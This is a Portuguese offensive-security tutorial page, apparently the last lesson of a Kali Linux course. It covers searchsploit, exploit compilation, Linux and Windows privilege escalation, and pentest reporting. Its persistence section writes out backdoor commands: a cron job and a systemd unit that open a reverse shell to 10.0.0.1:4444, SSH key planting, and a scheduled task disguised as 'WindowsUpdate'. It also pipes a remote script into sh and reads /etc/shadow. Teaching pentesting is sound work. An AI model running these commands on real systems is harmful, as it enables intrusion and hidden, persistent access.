kb.erickguedes.com
Kali Linux: Ferramentas de Segurança Ofensiva

ExploitDB e Pós-Exploração

Aula 7 de 7

ExploitDB (searchsploit)

Busca de Exploits

# Buscar exploits por termo
searchsploit apache 2.4.49
searchsploit eternalblue
searchsploit wordpress
searchsploit "linux kernel" local privilege escalation

# Busca exata por versão
searchsploit -e "Apache 2.4.49"

# Mostrar caminho completo dos exploits
searchsploit -p 50512

# Copiar exploit para diretório atual
searchsploit -m 50512

# Atualizar banco local
searchsploit -u

Categorias

# Exploits por plataforma
searchsploit -t "Windows"
searchsploit -t "Linux"
searchsploit -t "Web"
searchsploit -t "Android"
searchsploit -t "iOS"

# Verificar se CVE específico tem exploit
searchsploit cve-2021-40444
searchsploit cve-2023-23397

Compilação de Exploits

# Exploits em C (Linux)
gcc -o exploit 12345.c
gcc -o exploit 12345.c -lpthread

# Exploits em C (Windows — cross compile com mingw)
x86_64-w64-mingw32-gcc -o exploit.exe 12345.c -lws2_32

# Exploits Python
python2 exploit.py
python3 exploit.py

# Verificar dependências
cat exploit.py | grep "import"
cat exploit.c | grep "#include"

Post-Exploitation — Linux

Enumeração Automática

# LinEnum — enumeração completa do sistema
./LinEnum.sh

# linpeas — enumeração + detecção de vulnerabilidades
./linpeas.sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# pspy — monitorar processos sem root
./pspy64
./pspy64 -pf -i 1000               # Processos e file system, 1s intervalo

Enumeração Manual

# Informações do sistema
uname -a                           # Kernel versão
cat /etc/os-release                # OS versão
hostnamectl                        # System info
cat /proc/version                  # Kernel compile info

# Usuários
cat /etc/passwd                    # Usuários do sistema
cat /etc/shadow                    # Hashes de senha (precisa root)
w                                  # Usuários logados
last                               # Histórico de login

# Rede
ip addr
ip route
ss -tuln                           # Portas de escuta (netstat moderno)
arp -a

# Processos
ps aux
ps aux --forest                    # Árvore de processos
top -bn1

Escalamento de Privilégio — Linux

# SUID — binários com permissão SUID
find / -perm -4000 -type f 2>/dev/null
# Lista de binários SUID perigosos: nmap, vim, bash, python, perl

# Sudo — comandos permitidos sem senha
sudo -l
# Se tiver: (ALL) NOPASSWD: /usr/bin/vim → :!bash

# Cron — tarefas agendadas
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*

# Arquivos world-writable
find / -writable -type f 2>/dev/null | grep -v proc

# Kernel exploits
searchsploit "linux kernel" privesc
# Verificar versão exata do kernel: uname -r

# Docker/LXC — escapar de container
docker run -v /:/mnt -it alpine
cat /proc/1/cgroup | grep -i docker

Post-Exploitation — Windows

Enumeração Automática

# winPEAS — enumeração completa
winPEASany.exe
winPEASx64.exe

# PowerUp — escalamento de privilégio via PowerShell
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# BloodHound — mapeamento de AD (coletor)
SharpHound.exe -c All
# BloodHound (analisador): interface gráfica com queries Cypher

Escalamento de Privilégio — Windows

# Serviços com permissões fracas
sc query
wmic service get name,displayname,pathname,startname | findstr "LocalSystem"
icacls "C:\Program Files\Service\service.exe"     # Verificar permissões

# Unquoted service paths
wmic service get name,displayname,pathname,startname | findstr /V /R "\".*\""

# AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Token privileges
whoami /priv
# Se tiver SeImpersonatePrivilege → JuicyPotato, PrintSpoofer

Persistência

Linux

# Cron job
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'") | crontab -

# SSH authorized_keys
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Systemd service
# /etc/systemd/system/backdoor.service
# [Unit]
# Description=Backdoor
# [Service]
# ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Restart=always
# [Install]
# WantedBy=multi-user.target

systemctl enable backdoor --now

Windows

# Registry - Run key
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\backdoor.exe" /sc onlogon /ru SYSTEM

# WMI persistence
# wmic /namespace:\\root\cimv2 PATH __EventFilter CREATE ...

Reporting

# Dradis — colaboração em equipe
dradis                              # Iniciar servidor web

# Faraday — integração com ferramentas
faraday
# Importar resultados XML: nmap, nessus, burp, openvas

# CherryTree — notas hierárquicas
cherrytree

# Estrutura de relatório
# 1. Sumário executivo
# 2. Escopo e metodologia
# 3. Descobertas (CVSS score, impacto, recomendação)
# 4. Evidências (screenshots, logs, payloads)
# 5. Linha do tempo
# 6. Recomendações de remediação

Lab: Pós-Exploração Completa

# 1. Buscar exploit de privesc
searchsploit "linux kernel" | grep -i privilege | head -10

# 2. Enumeração manual
cat /etc/passwd | grep -E "/bin/.*sh"
find / -perm -4000 -type f 2>/dev/null

# 3. Verificar sudo
sudo -l

# 4. Verificar cron jobs
cat /etc/crontab
ls -la /etc/cron.d/

# 5. Estabelecer persistência via cron
# (crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor.sh") | crontab -

Pós-exploração determina o valor real de um pentest. Enumere completamente, escale privilégios, estabeleça persistência e documente cada passo. Um achado sem relatório não existe.